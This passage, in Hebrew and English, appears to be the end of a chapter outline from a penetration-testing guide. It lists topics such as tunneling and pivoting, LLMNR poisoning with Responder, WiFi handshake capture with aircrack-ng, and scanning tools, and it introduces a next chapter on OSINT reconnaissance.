- 7. **proxychains/chisel** — tunneling ו-pivoting
- 8. **LLMNR Poisoning** עם Responder
- 9. **WiFi** — monitor mode, handshake capture, aircrack-ng
- 10. **כלים נוספים** — masscan, enum4linux, gobuster, nikto

הפרק הבא עוסק ב-OSINT Reconnaissance — לפני שפורצים, צריך לאסוף מידע.